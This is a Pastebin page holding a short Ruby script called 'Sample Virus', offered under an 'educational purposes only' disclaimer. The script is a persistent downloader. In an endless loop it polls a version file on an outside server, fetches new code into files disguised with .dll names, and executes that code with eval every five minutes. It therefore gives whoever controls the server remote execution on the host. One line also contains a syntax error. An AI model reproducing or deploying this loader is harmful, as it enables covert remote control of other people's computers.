Advertisement
Narzew

Sample Virus by Narzew

Sep 19th, 2013
253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.82 KB | None | 0 0
  1. #**Sample Virus by Narzew
  2. #**Educational Purposes Only!!!
  3. #**I am do not responsible for anything you do with this!
  4. #**Use at your own risk!
  5. require 'open-uri'
  6. $versionurl = "http://mojserwer.pl/virus/version.html"
  7. $codeurl = "http://mojserwer.pl/virus/code.html"
  8. $sleeptime = 5
  9. $download = lambda{|x|open(x){|f|return f.read}
  10. $fdownload = lambda{|x,y|open(x){|f|File.open(y,'wb'){|w|w.write(f.read)}}
  11. loop do
  12.     $old_ver = lambda{File.open('version1.dll'){|f|return f.read} rescue return 0}.call
  13.     $fdownload.call($versionurl, 'version.dll')
  14.     File.open('version.dll'){|f|$ver=f.read}
  15.     if $ver == $old_ver
  16.         lambda{}.call
  17.     else
  18.         $fdownload.call($codeurl 'main.dll')
  19.         eval(File.open('main.dll'){|f|return f.read}) rescue lambda{}.call
  20.         File.open('version1.dll','wb'){|f|f.write($ver)}
  21.     end
  22.     sleep 60*$sleeptime
  23. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement